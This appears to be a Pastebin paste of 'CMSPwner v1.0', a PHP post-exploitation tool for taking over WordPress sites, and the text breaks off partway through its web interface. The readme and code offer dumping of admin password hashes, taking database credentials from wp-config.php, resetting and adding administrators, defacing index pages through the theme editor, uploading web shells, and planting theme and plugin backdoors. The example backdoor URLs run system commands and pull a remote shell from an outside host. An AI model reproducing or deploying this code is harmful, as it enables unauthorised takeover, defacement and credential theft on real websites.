Advertisement
Xt3mP

CMSPwner v1.0

Aug 2nd, 2012
3,791
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 46.71 KB | None | 0 0
  1. #########
  2. # Script Title: CMSPwner
  3. # Version: 1.0 Beta
  4. # Date: 02/08/12
  5. # Script Author: Xt3mP
  6. # Home: http://xt3mp.mx
  7. # For: http://r00tw0rm.com
  8. # Contact: xt3mp[at]null[dot]com
  9. # User: Xt3mP
  10. # Pass: root
  11. #  _____ _____ _____ _____                  
  12. # |     |     |   __|  _  |_ _ _ ___ ___ ___
  13. # |   --| | | |__   |   __| | | |   | -_|  _|
  14. # |_____|_|_|_|_____|__|  |_____|_|_|___|_|  
  15. #
  16. #########
  17.  
  18. .+--==[0x00 - About]>.
  19.  
  20. CMSPwner is a PHP script created with the intention to take
  21. completely any cms control. This version only have a Wordpress
  22. module, and it's Beta version, so it's probably has errors.
  23.  
  24. -+--==[0x01 - Demostration]>.
  25. URL: http://www.youtube.com/watch?v=Y8gqHpw4DMQ
  26.  
  27. .+--==[0x02 - Menu]>.
  28. [+]Login
  29.     [-]Authentication: Requires user credentials (non wordpress).
  30. [+]SQL data
  31.     [-]SQL Information: Option to take automatically the config in config.php file.
  32. [+]Menu
  33.     [-]Home:
  34.         *Contains most important Wordpress information.
  35.     [-]Logout:
  36.         *Log out of the script.
  37.     [-]Self Remove:
  38.         *Delete completly the script.
  39.     [-]About:
  40.         *Contains information about the author.
  41. [+]Admin
  42.     [-]Admin List:
  43.         *Contains all Administrators users with login, hash and mail.
  44.     [-]Reset Adm Pass:
  45.         *Module to reset any administrator user password.
  46.     [-]Add New Admin:
  47.         *Module to add a new administrator.
  48. [+]Change Index
  49.     [-]Main [fopen]:
  50.         *Module to change -WORDPRESS MAIN INDEX- (not theme index).
  51.     [-]Theme [cURL]:
  52.         *Module to change -WORDPRESS THEME INDEX- (user credentials required).
  53.     [-]Theme [fopen]: Module to change -WORDPRESS THEME INDEX- (no user credentials required).
  54. [+]Shell
  55.     [-]Upload:
  56.         *Module to upload shell.
  57.     [-]Make [themes]:
  58.         *Module to create shell in themes' path.
  59.     [-]Make [plugins]:
  60.         *Module to create shell in plugin' path.
  61. [+]Backdoor
  62.     [-]Active Theme:
  63.         *Module to make a backdoor in any theme.
  64.     [-]Active Plugin:
  65.         *Module to make a backdoor in any plugin.
  66.     [>]Types:
  67.         *system(): Execute commands, example:
  68.                 http://site/wp-content/x/file.php?active=true&cmd=ls
  69.         *File Downloader: Download file and make shell, example:
  70.                 http://site/wp-content/x/file.php?
  71.  
  72. active=true&filename=SHELL.PHP&externalfile=http://web/shell.txt
  73.  
  74. .+--==[0x03 - Issues]>.
  75.  
  76. [+]Maybe you would have problems with permissions.
  77.    So, you can edit .htaccess or chmod file in question.
  78. [+]Problem with magic_quotes and stripslashes, check what content you would post.
  79.  
  80. .+--==[0x04 - Source]>.
  81. <?php
  82. #########
  83. # Script Title: CMSPwner v1 Wordpress Version
  84. # Version: 1.0 Beta
  85. # Date: 02/08/12
  86. # Script Author: Xt3mP
  87. # Home: http://xt3mp.mx
  88. # For: http://r00tw0rm.com
  89. # Contact: xt3mp[at]null[dot]com
  90. #  _____ _____ _____ _____                  
  91. # |     |     |   __|  _  |_ _ _ ___ ___ ___
  92. # |   --| | | |__   |   __| | | |   | -_|  _|
  93. # |_____|_|_|_|_____|__|  |_____|_|_|___|_|  
  94. #
  95. #########
  96. session_start();
  97. $authUser = 'Xt3mP';
  98. $authPass = '63a9f0ea7bb98050796b649e85481845';
  99. function checkTable($dbName, $dbPref)
  100. {
  101.     $query = mysql_query('SHOW TABLES FROM '.$dbName) or die(mysql_error());
  102.     $allowedTables = array($dbPref.'options', $dbPref.'users', $dbPref.'usersmeta');
  103.     $counter = 0;
  104.     while($table = mysql_fetch_array($query))
  105.     {
  106.         if(in_array($table[0], $allowedTables))
  107.             $counter++;
  108.     }
  109.     if($counter != 2)
  110.         return false;
  111.     else
  112.         return true;
  113. }
  114. function getInfo($pref, $optionName)
  115. {
  116.     $data = mysql_fetch_object(mysql_query('SELECT option_value FROM '.$pref.'options WHERE
  117.  
  118. option_name="'.$optionName.'"'));
  119.     return $data->option_value;
  120. }
  121. function getVersion($url)
  122. {
  123.     $source = file_get_contents($url);
  124.     $data = preg_match("/<meta name=\"generator\" content=\"WordPress (.*)\" \/>/", $source,
  125.  
  126. $version);
  127.     return $version[1];
  128. }
  129. function getTotalAdmins($pref)
  130. {
  131.     $adms = @mysql_num_rows(@mysql_query('SELECT user_id FROM '.$pref.'usermeta WHERE
  132.  
  133. meta_value=10'));
  134.     return $adms;
  135. }
  136. function getAdmins($pref, $type = 'name')
  137. {
  138.     $adm = @mysql_query('SELECT user_id FROM '.$pref.'usermeta WHERE meta_value=10');
  139.     while($admId = @mysql_fetch_object($adm))
  140.     {
  141.         if($type == 'name')
  142.         {
  143.             $admData = @mysql_fetch_object(@mysql_query('SELECT user_login, user_nicename
  144.  
  145. FROM '.$pref.'users WHERE ID='.$admId->user_id));
  146.             $option .= '<option value="'.$admId->user_id.'">'.$admData->user_login.'['.
  147.  
  148. $admData->user_nicename.']</option>';
  149.         }
  150.         else
  151.         {
  152.             $class = ($number == '0') ? 'dark-green' : 'light-green';
  153.             $admData = @mysql_fetch_object(@mysql_query('SELECT user_login, user_pass,
  154.  
  155. user_email FROM '.$pref.'users WHERE ID='.$admId->user_id));
  156.             $option .= '<tr class="'.$class.'"><td>'.$admData->user_login.'</td><td>'.
  157.  
  158. $admData->user_pass.'</td><td>'.$admData->user_email.'</td></tr>';
  159.             $number = ($number == '0') ? '1' : '0';
  160.         }
  161.     }
  162.     if($type == 'name')
  163.         return $option;
  164.     else
  165.         return '<table width="100%" align="center"><tr
  166.  
  167. class="header"><td>User</td><td>Pass</td><td>Mail</td></tr>'.$option.'</table>';
  168. }
  169. function updateAdmin($pref, $admUser, $admPass)
  170. {
  171.     $newPass = md5($admPass);
  172.     $update = @mysql_query('UPDATE '.$pref.'users SET user_pass="'.$newPass.'" WHERE ID='.$admUser);
  173.     if(!$update)
  174.         return false;
  175.     else
  176.         return true;
  177. }
  178. function getAdminById($pref, $admId)
  179. {
  180.     $admData = @mysql_fetch_object(@mysql_query('SELECT user_login FROM '.$pref.'users WHERE ID='.
  181.  
  182. $admId));
  183.     return $admData->user_login;
  184. }
  185. function checkUser($pref, $admUser)
  186. {
  187.     $adm = @mysql_num_rows(@mysql_query('SELECT user_login FROM '.$pref.'users WHERE user_login="'.
  188.  
  189. $admUser.'"'));
  190.     if($adm > 0)
  191.         return false;
  192.     else
  193.         return true;
  194. }
  195. function addAdminUser($pref, $admUser, $admPass)
  196. {
  197.     $insert = @mysql_query('INSERT INTO '.$pref.'users (user_login, user_pass, user_nicename,
  198.  
  199. user_email) values ("'.$admUser.'", "'.md5($admPass).'", "'.$admUser.'", "'.$admUser.'@'.
  200.  
  201. $admUser.'.com")');
  202.     if(!$insert)
  203.     {
  204.         return false;
  205.     }
  206.     else
  207.         $id = @mysql_fetch_object(@mysql_query('SELECT ID FROM '.$pref.'users WHERE
  208.  
  209. user_login="'.$admUser.'"'));
  210.         $insert = mysql_query('INSERT INTO '.$pref.'usermeta (user_id, meta_key, meta_value)
  211.  
  212. values ('.$id->ID.', "wp_capabilities", "a:1:{s:13:\"administrator\";s:1:\"1\";}")') or die(mysql_error
  213.  
  214. ());
  215.         $insert = mysql_query('INSERT INTO '.$pref.'usermeta (user_id, meta_key, meta_value)
  216.  
  217. values ('.$id->ID.', "wp_user_level", "10")') or die(mysql_error());
  218.         return true;
  219. }
  220. function checkLogin($wpUrl, $wpUser, $wpPass)
  221. {
  222.     $fields = 'log='.$wpUser.'&pwd='.$wpPass.'&wp-submit=Acceder';
  223.     $ch = curl_init();  
  224.     curl_setopt($ch, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0a2)
  225.  
  226. Gecko/20111014 Firefox/9.0a2');
  227.     curl_setopt($ch, CURLOPT_AUTOREFERER, false);
  228.     curl_setopt($ch, CURLOPT_REFERER, $wpUrl);
  229.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  230.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  231.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  232.     curl_setopt($ch, CURLOPT_HEADER, 1);
  233.     curl_setopt($ch, CURLOPT_URL, $wpUrl.'/wp-login.php');
  234.     curl_setopt($ch, CURLOPT_POST, true);  
  235.     curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
  236.     curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  237.     $data = curl_exec($ch);
  238.     curl_close($ch);
  239.     if(strstr($data, '<strong>ERROR</strong>'))
  240.         return false;
  241.     else
  242.         return true;
  243. }
  244. function sourceIndex($wpUrl, $theme)
  245. {
  246.     $ch = curl_init();  
  247.     curl_setopt($ch, CURLOPT_URL, $wpUrl.'/wp-admin/theme-editor.php?file=index.php&theme='.$theme);
  248.     curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
  249.     curl_setopt($ch, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0a2)
  250.  
  251. Gecko/20111014 Firefox/9.0a2');
  252.     curl_setopt($ch, CURLOPT_AUTOREFERER, false);
  253.     curl_setopt($ch, CURLOPT_REFERER, $wpUrl.'/wp-admin/theme-editor.php?file=index.php&theme='.
  254.  
  255. $theme);
  256.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  257.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  258.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
  259.     curl_setopt($ch, CURLOPT_HEADER, 1);
  260.     $data = curl_exec($ch);
  261.     curl_close($ch);
  262.     return $data;
  263. }
  264. function changeIndex($wpUrl, $wpCont, $theme, $wpnonce)
  265. {
  266.     $ch = curl_init();  
  267.     $fields = '_wpnonce='.$wpnonce.'&newcontent='.urlencode
  268.  
  269. ($wpCont).'&action=update&file=index.php&theme='.$theme.'&scrollto=0&submit=Actualizar Archivo';
  270.     curl_setopt($ch, CURLOPT_URL, $wpUrl.'/wp-admin/theme-editor.php?file=index.php&theme='.$theme);
  271.     curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
  272.     curl_setopt($ch, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0a2)
  273.  
  274. Gecko/20111014 Firefox/9.0a2');
  275.     curl_setopt($ch, CURLOPT_AUTOREFERER, false);
  276.     curl_setopt($ch, CURLOPT_REFERER, $wpUrl.'/wp-admin/theme-editor.php?file=index.php&theme='.
  277.  
  278. $theme);
  279.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  280.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  281.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
  282.     curl_setopt($ch, CURLOPT_HEADER, 1);
  283.     curl_setopt($ch, CURLOPT_POST, true);  
  284.     curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
  285.     $data = curl_exec($ch);
  286.     curl_close($ch);
  287.     return true;
  288. }
  289. function getThemes()
  290. {
  291.     $themes = scandir('./wp-content/themes/');
  292.     foreach($themes as $theme)
  293.     {
  294.         if($theme != '.' && $theme != '..' && is_dir('./wp-content/themes/'.$theme))
  295.         {
  296.             $realThemes .= '<option value="'.$theme.'">'.$theme.'</option>';
  297.         }
  298.     }
  299.     return $realThemes;
  300. }
  301. function getPlugins()
  302. {
  303.     $plugins = scandir('./wp-content/plugins/');
  304.     foreach($plugins as $plugin)
  305.     {
  306.         if($plugin != '.' && $plugin != '..' && is_dir('./wp-content/plugins/'.$plugin))
  307.         {
  308.             $pluginData = pathinfo('./wp-content/plugins/'.$plugin);
  309.             $pluginPath = $plugin;
  310.             if(!is_dir('./wp-content/plugins/'.$plugin))
  311.             {
  312.                 $pluginPath = '/';
  313.                 $plugin = $pluginData['filename'];
  314.             }
  315.             $realPlugins .= '<option value="'.$pluginPath.'">'.$plugin.'</option>';
  316.         }
  317.     }
  318.     return $realPlugins.'<option value="/">/</option>';
  319. }
  320.  
  321. function getInstalledPlugins($wpUrl, $plugins, $home = false)
  322. {
  323.     $data = preg_match("/a:(.*):{/", $plugins, $a);
  324.     for($i = 0; $i < $a[1]; $i++)
  325.     {
  326.         $c = $a[1] - 1;
  327.         if($i != $c)
  328.         {
  329.             $next = $i + 1;
  330.             $pat = "/i:$i;s:[0-9]*:\"(.*)\";i:$next/";
  331.         }else{
  332.             if($a[1] == 1)
  333.                 $pat = "/{i:$i;s:[0-9]*:\"(.*)\";}/";
  334.             else
  335.                 $pat = "/;i:$i;s:[0-9]*:\"(.*)\";/";
  336.         }
  337.         $datas = preg_match($pat, $plugins, $b);
  338.         $pluginsc .= (!$home) ? '<a href="'.$wpUrl.'/wp-content/plugins/'.$b[1].'"
  339.  
  340. target="_blank">'.$b[1].'</a><br />' : '<option value="'.$b[1].'">'.$b[1].'</option>';
  341.     }
  342.     return (!$home) ? substr($pluginsc, 0, strlen($pluginsc) - 6) : $pluginsc;
  343. }
  344. ?>
  345. <!DOCTYPE html>
  346. <head>
  347. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  348. <title>CMSPwner v1 [WP Version]</title>
  349. <style
  350.  
  351. type="text/css">html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acrony
  352.  
  353. m,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,
  354.  
  355. dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td,article,aside,canv
  356.  
  357. as,details,embed,figure,figcaption,footer,header,hgroup,menu,nav,output,ruby,section,summary,time,mark,a
  358.  
  359. udio,video{border:0;font:inherit;font-size:100%;margin:0;padding:0;vertical-align:baseline}
  360.  
  361. article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-
  362.  
  363. height:1}ol,ul{list-style:none}blockquote,q{quotes:none}
  364.  
  365. blockquote:before,blockquote:after,q:before,q:after{content:none}table{border-collapse:collapse;border-
  366.  
  367. spacing:0}</style>
  368. <style type="text/css">body{background-color:#2b2b2b;color:#828282;font-family:"Courier New", Courier,
  369.  
  370. monospace;font-size:13px;font-weight:700;line-height:1em}div#container{width:600px}div#container
  371.  
  372. fieldset{background-color:#FBFBFB;border:1px dashed #000;padding:5px;text-align:justify}hr{background-
  373.  
  374. color:#000;color:#000}div#container legend{background-color:#FFF;border:1px dashed
  375.  
  376. #000;color:#000;padding:5px}fieldset#login .a{width:200px}div#container input,div#container
  377.  
  378. select,div#container textarea{-moz-border-radius:3px;-webkit-border-radius:3px;background-
  379.  
  380. color:#333;border:1px dashed #000;border-radius:3px;color:#FFF;font-family:"Courier New", Courier,
  381.  
  382. monospace;font-weight:700;padding:5px;text-align:center;width:148px}div#container textarea
  383.  
  384. {resize:none;width:83%}div#container input:hover,div#container input:focus{font-style:normal}
  385.  
  386. div#container input[type=submit]:hover{background-color:#888;cursor:pointer;text-shadow:1px 1px 1px
  387.  
  388. #999}div#container .error,div#container .success{background-color:#ff4040;border:1px dashed
  389.  
  390. red;color:#FFF;float:left;margin-bottom:5px;padding:5px;width:100%!important}div#container .success
  391.  
  392. {background-color:#49A349;border:1px dashed #002E00}div#container .menu{border-bottom:1px dashed
  393.  
  394. #000;float:left;font-size:14px;margin-bottom:5px;padding-bottom:5px;text-align:center;width:100%}.data
  395.  
  396. {float:left;width:98%}.menu ul li{float:left;height:10px;width:100px}.menu ul li ul{background-
  397.  
  398. color:#FBFBFB;border:1px dashed #000;border-top:none;display:none;float:left;height:auto;margin-
  399.  
  400. top:2px;position:relative;width:130px}.menu ul li:hover ul{display:block}.menu ul li ul li
  401.  
  402. {background:#CCC;float:left;height:10px;padding:5px 0 5px 2px;text-align:left;width:130px}.menu ul
  403.  
  404. li.nonse{float:left;width:20px}div#sql_data,div#data{border-top:1px dashed #000;margin-top:5px;padding-
  405.  
  406. top:5px}div#sql_data label,div#data label{float:left;margin-right:5px;padding:8px 0;text-
  407.  
  408. align:right;width:60px}div#container .clear{float:left;width:100%}div#sql_data input[type=text],div#data
  409.  
  410. input[type=text],div#data select,div#data textarea{margin-right:5px}select{text-align:center}
  411.  
  412. div#container a{color:#111;text-decoration:none}div#container a:hover{color:#191919;text-
  413.  
  414. decoration:underline}div#data{border:none}div#info{border-bottom:1px dashed #000;padding-bottom:5px}
  415.  
  416. table,td,tr{padding:5px;text-align:center}.header{background-color:#000;color:#FFF}.light-green,.dark-
  417.  
  418. green{background-color:#FCFCFC;color:#000}div#container input[type=submit],.dark-green{background-
  419.  
  420. color:#666}div#sql_data input[type=submit],div#data input[type=submit],div#data select{width:160px}
  421.  
  422. div#container .get_config{border-top:1px dashed #000;margin-top:5px;padding-top:5px;text-align:center}
  423.  
  424. div#container .success a,div#container .success a:hover,.dark-green{color:#FFF}</style>
  425. <script src="http://code.jquery.com/jquery-1.7.2.min.js"></script>
  426. <script>$(function(){windowsHeight=$(window).height();windowsWidth=$(window).width();div=
  427.  
  428. $('#container');divHeight=div.height();divWidth=div.width();up=windowsHeight/2.3-
  429.  
  430. (divHeight/2);left=windowsWidth/2-(divWidth/2);$("#container").css("margin-top",up);$("#container").css
  431.  
  432. ("margin-left",left);function putValue(fieldId,newValue,defaultValue){if($("#"+fieldId).val()
  433.  
  434. ==defaultValue){$("#"+fieldId).val(newValue)}}$("#user").focusin(function(){putValue
  435.  
  436. ("user","","User")});$("#user").focusout(function(){putValue("user","User","")});$("#pass").focusin
  437.  
  438. (function(){putValue("pass","","********")});$("#pass").focusout(function(){putValue
  439.  
  440. ("pass","********","")});$("#db_srvr").focusin(function(){putValue("db_srvr","","localhost")});
  441.  
  442. $("#db_srvr").focusout(function(){putValue("db_srvr","localhost","")});$("#db_user").focusin(function()
  443.  
  444. {putValue("db_user","","root")});$("#db_user").focusout(function(){putValue("db_user","root","")});
  445.  
  446. $("#db_pass").focusin(function(){putValue("db_pass","","root")});$("#db_pass").focusout(function()
  447.  
  448. {putValue("db_pass","root","")});$("#db_name").focusin(function(){putValue("db_name","","wp_db")});
  449.  
  450. $("#db_name").focusout(function(){putValue("db_name","wp_db","")});$("#db_pref").focusin(function()
  451.  
  452. {putValue("db_pref","","wp_")});$("#db_pref").focusout(function(){putValue("db_pref","wp_","")});
  453.  
  454. $("#new_pass").focusin(function(){putValue("new_pass","","new_pass")});$("#new_pass").focusout(function
  455.  
  456. (){putValue("new_pass","new_pass","")});$("#new_user").focusin(function(){putValue
  457.  
  458. ("new_user","","Admin2")});$("#new_user").focusout(function(){putValue("new_user","Admin2","")});
  459.  
  460. $("#wp_url").focusin(function(){putValue("wp_url","","http://site.com/wp")});$("#wp_url").focusout
  461.  
  462. (function(){putValue("wp_url","http://site.com/wp","")});$("#shell_name").focusin(function(){putValue
  463.  
  464. ("shell_name","","shell.php")});$("#shell_name").focusout(function(){putValue
  465.  
  466. ("shell_name","shell.php","")})});</script>
  467. </head>
  468. <body>
  469. <div id="container">
  470.     <div class="logo">
  471.         <pre>
  472.        _____ __  __  _____ _____                                  __
  473.     X / ____|  \/  |/ ____|  __ \                                /_ |X
  474.     t| |    | \  / | (___ | |__) |_      ___ __   ___ _ __  __   _| |t
  475.     3| |    | |\/| |\___ \|  ___/\ \ /\ / / '_ \ / _ \ '__| \ \ / / |3
  476.     m| |____| |  | |____) | |     \ V  V /| | | |  __/ |     \ V /| |m
  477.     P \_____|_|  |_|_____/|_|      \_/\_/ |_| |_|\___|_| t00l \_/ |_|P                                  
  478.  
  479.                                
  480.         </pre>
  481.     </div>
  482.     <form action="" method="POST" enctype="multipart/form-data">
  483.         <?php
  484.         if(!$_SESSION['logged']):
  485.         ?>
  486.             <fieldset id="login">
  487.                 <legend>CMSPwner v1 - Login</legend>
  488.                 <?php
  489.                 $showLogin = true;
  490.                 if(isset($_POST['login'])):
  491.                     $user = $_POST['user'];
  492.                     $pass = $_POST['pass'];
  493.                     if($user != $authUser or md5($pass) != $authPass):
  494.                         echo '<div class="error">Bad username or
  495.  
  496. password</div>';
  497.                     else:
  498.                         $showLogin = false;
  499.                         $_SESSION['logged'] = true;
  500.                         $_SESSION['user'] = $user;
  501.                         echo '<div class="success">Welcome '.$user.'</div>';
  502.                         echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
  503.                     endif;
  504.                 endif;
  505.                 if($showLogin):
  506.                 ?>
  507.                     <input type="text" id="user" name="user" value="User"
  508.  
  509. class="a"/>
  510.                     <input type="password" id="pass" name="pass" value="********"
  511.  
  512. class="a"/>
  513.                     <input type="submit" name="login" value="Access" />
  514.                 <?php
  515.                 endif;
  516.                 ?>
  517.             </fieldset>
  518.         <?php
  519.         else:
  520.         ?>
  521.             <fieldset>
  522.                 <?php
  523.                 if(!$_SESSION['sqlCredentials']):
  524.                 ?>
  525.                     <legend>CMSPwner v1 - SQL Credentials</legend>
  526.                     This system requires SQL credentials to work correctly. Please
  527.  
  528. make sure that your credentials are correct.<br />
  529.                     <?php
  530.                     $showForm = true;
  531.                     if($_GET['s3ct10n'] == 'getconfig'):
  532.                         if(isset($_POST['get_config'])):
  533.                             $configContent = @file_get_contents('./wp-
  534.  
  535. config.php');
  536.                             if(!$configContent):
  537.                                 echo '<div class="error">Can\'t
  538.  
  539. open/found wp-config.php file</div>';
  540.                             else:
  541.                                 $data = @preg_match("/define\('DB_HOST',
  542.  
  543. '(.*)'\);/", $configContent, $host);
  544.                                 $data = @preg_match("/define\('DB_USER',
  545.  
  546. '(.*)'\);/", $configContent, $user);
  547.                                 $data = @preg_match("/define
  548.  
  549. \('DB_PASSWORD', '(.*)'\);/", $configContent, $pass);
  550.                                 $data = @preg_match("/define\('DB_NAME',
  551.  
  552. '(.*)'\);/", $configContent, $name);
  553.                                 $data = @preg_match("/table_prefix  =
  554.  
  555. '(.*)';/", $configContent, $pref);
  556.                                 $_SESSION['dbSrvr'] = $host[1];
  557.                                 $_SESSION['dbUser'] = $user[1];
  558.                                 $_SESSION['dbPass'] = $pass[1];
  559.                                 $_SESSION['dbName'] = $name[1];
  560.                                 $_SESSION['dbPref'] = $pref[1];
  561.                                 $showForm = false;
  562.                                 echo '<div class="success">Configuration
  563.  
  564. obtained correctly</div>';
  565.                                 echo '<META HTTP-EQUIV="refresh"
  566.  
  567. CONTENT="2; url=?">';
  568.                             endif;
  569.                         endif;
  570.                         if($showForm):
  571.                             $file = basename($_SERVER['PHP_SELF']);
  572.                     ?>
  573.                             <div class="get_config" style="text-
  574.  
  575. align:left;">You need put this file in same WP path:</div>
  576.                             <div id="sql_data">
  577.                                 <div
  578.  
  579. class="clear"><label>File:</label><input type="text" value="<?php echo $file; ?>" disabled="disabled"
  580.  
  581. />< Script<br /></div>
  582.                                 <div class="clear"><label></label><input
  583.  
  584. type="submit" name="get_config" value="Get Config" /></div>
  585.                             </div>
  586.                     <?php
  587.                         endif;
  588.                     else:
  589.                         if(isset($_POST['sql'])):
  590.                             $dbSrvr = $_POST['db_srvr'];
  591.                             $dbUser = $_POST['db_user'];
  592.                             $dbPass = $_POST['db_pass'];
  593.                             $dbName = $_POST['db_name'];
  594.                             $dbPref = $_POST['db_pref'];
  595.                             $dbCon = @mysql_connect($dbSrvr, $dbUser,
  596.  
  597. $dbPass);
  598.                             $dbSel = @mysql_select_db($dbName, $dbCon);
  599.                             if(!$dbCon):
  600.                                 echo '<div class="error">Can\'t connect
  601.  
  602. to the server: '.$dbUser.'@'.$dbSrvr.'</div>';
  603.                             elseif(!$dbSel):
  604.                                 echo '<div class="error">Can\'t select
  605.  
  606. DB: '.$dbName.'</div>';
  607.                             elseif(!checkTable($dbName, $dbPref)):
  608.                                 echo '<div class="error">Can\'t detect
  609.  
  610. WP tables with Preffix: '.$dbPref.'</div>';
  611.                             else:
  612.                                 $_SESSION['dbSrvr'] = $dbSrvr;
  613.                                 $_SESSION['dbUser'] = $dbUser;
  614.                                 $_SESSION['dbPass'] = $dbPass;
  615.                                 $_SESSION['dbName'] = $dbName;
  616.                                 $_SESSION['dbPref'] = $dbPref;
  617.                                 $_SESSION['sqlCredentials'] = true;
  618.                                 $showForm = false;
  619.                                 echo '<div class="success">SQL
  620.  
  621. Credentials accepted correctly</div>';
  622.                                 echo '<META HTTP-EQUIV="refresh"
  623.  
  624. CONTENT="2; url=?">';
  625.                             endif;
  626.                         endif;
  627.                         if($showForm):
  628.                             $srvr = (empty($_SESSION['dbSrvr'])) ?
  629.  
  630. 'localhost' : $_SESSION['dbSrvr'];
  631.                             $user = (empty($_SESSION['dbUser'])) ? 'root' :
  632.  
  633. $_SESSION['dbUser'];
  634.                             $pass = (empty($_SESSION['dbPass'])) ? 'root' :
  635.  
  636. $_SESSION['dbPass'];
  637.                             $name = (empty($_SESSION['dbName'])) ? 'wp_db' :
  638.  
  639. $_SESSION['dbName'];
  640.                             $pref = (empty($_SESSION['dbPref'])) ? 'wp_':
  641.  
  642. $_SESSION['dbPref'];
  643.                     ?>
  644.                             <div class="get_config">[<a href="?
  645.  
  646. s3ct10n=getconfig">Try to get config automatically</a>]</div>
  647.                             <div id="sql_data">
  648.                                 <div
  649.  
  650. class="clear"><label>Server:</label><input type="text" id="db_srvr" name="db_srvr" value="<?php echo
  651.  
  652. $srvr; ?>" />< Insert SQL Server<br /></div>
  653.                                 <div
  654.  
  655. class="clear"><label>User:</label><input type="text" id="db_user" name="db_user" value="<?php echo
  656.  
  657. $user; ?>" />< Insert SQL Username<br /></div>
  658.                                 <div
  659.  
  660. class="clear"><label>Pass:</label><input type="text" id="db_pass" name="db_pass" value="<?php echo
  661.  
  662. $pass; ?>" />< Insert SQL Password<br /></div>
  663.                                 <div
  664.  
  665. class="clear"><label>Name:</label><input type="text" id="db_name" name="db_name" value="<?php echo
  666.  
  667. $name; ?>" />< Insert SQL Database Name<br /></div>
  668.                                 <div
  669.  
  670. class="clear"><label>Prefix:</label><input type="text" id="db_pref" name="db_pref" value="<?php echo
  671.  
  672. $pref; ?>" />< Insert Wordpress DB Preffix<br /></div>
  673.                                 <div class="clear"><label></label><input
  674.  
  675. type="submit" name="sql" value="Check SQL Data" />
  676.                             </div>
  677.                     <?php
  678.                         endif;
  679.                     endif;
  680.                     ?>
  681.                 <?php
  682.                 else:
  683.                     $dbCon = @mysql_connect($_SESSION['dbSrvr'], $_SESSION
  684.  
  685. ['dbUser'], $_SESSION['dbPass']);
  686.                     @mysql_select_db($_SESSION['dbName'], $dbCon);
  687.                 ?>
  688.                     <legend>CMSPwner v1 - System</legend>
  689.                     <div class="menu">
  690.                         <ul>
  691.                             <li>Menu
  692.                                 <ul>
  693.                                     <li><a href="?">Home</a></li>
  694.                                     <li><a href="?
  695.  
  696. s3ct10n=logout">Logout</a></li>
  697.                                     <li><a href="?
  698.  
  699. s3ct10n=selfremove">Self Remove</a></li>
  700.                                     <li><a href="?
  701.  
  702. s3ct10n=about">About</a></li>
  703.                                 </ul>
  704.                             </li>
  705.                             <li>Admin
  706.                                 <ul>
  707.                                     <li><a href="?s3ct10n=1">Adm
  708.  
  709. List</a></li>
  710.                                     <li><a href="?s3ct10n=2">Reset
  711.  
  712. Adm Pass</a></li>
  713.                                     <li><a href="?s3ct10n=3">Add New
  714.  
  715. Adm</a></li>
  716.                                 </ul>
  717.                             </li>
  718.                             <li>Change Index
  719.                                 <ul>
  720.                                     <li><a href="?s3ct10n=4">Main
  721.  
  722. [fopen]</a></li>
  723.                                     <li><a href="?s3ct10n=5">Theme
  724.  
  725. [cURL]</a></li>
  726.                                     <li><a href="?s3ct10n=6">Theme
  727.  
  728. [fopen]</a></li>
  729.                                 </ul>
  730.                             </li>
  731.                             <li>Shell
  732.                                 <ul>
  733.                                     <li><a href="?
  734.  
  735. s3ct10n=7">Upload</a></li>
  736.                                     <li><a href="?s3ct10n=8">Make
  737.  
  738. [themes]</a></li>
  739.                                     <li><a href="?s3ct10n=9">Make
  740.  
  741. [plugins]</a></li>
  742.                                 </ul>
  743.                             </li>
  744.                             <li>Backdoor
  745.                                 <ul>
  746.                                     <li><a href="?s3ct10n=10">Active
  747.  
  748. Theme</a></li>
  749.                                     <li><a href="?s3ct10n=11">Active
  750.  
  751. Plugin</a></li>
  752.                                 </ul>
  753.                         </ul>
  754.                     </div>
  755.                     <div class="data">
  756.                         <?php
  757.                         $s3ct10n = $_GET['s3ct10n'];
  758.                         switch($s3ct10n):
  759.                             case '':
  760.                         ?>
  761.                                 WP Version: <?php echo getVersion
  762.  
  763. (getInfo($_SESSION['dbPref'], 'siteurl')); ?><br />
  764.                                 WP Url: <a href="#"><?php echo getInfo
  765.  
  766. ($_SESSION['dbPref'], 'siteurl'); ?></a><br />
  767.                                 WP Mail: <?php echo getInfo($_SESSION
  768.  
  769. ['dbPref'], 'admin_email'); ?><br />
  770.                                 WP Theme: <a target="_blank" href="<?php
  771.  
  772. echo getInfo($_SESSION['dbPref'], 'siteurl'); ?>/wp-content/themes/<?php echo getInfo($_SESSION
  773.  
  774. ['dbPref'], 'template'); ?>"><?php echo getInfo($_SESSION['dbPref'], 'template'); ?></a><br />
  775.                                 WP Active Plugins: <br /><?php echo
  776.  
  777. getInstalledPlugins(getInfo($_SESSION['dbPref'], 'siteurl'), getInfo($_SESSION['dbPref'],
  778.  
  779. 'active_plugins')); ?><br />
  780.                                 WP Adm Users: <?php echo getTotalAdmins
  781.  
  782. ($_SESSION['dbPref']); ?><br />
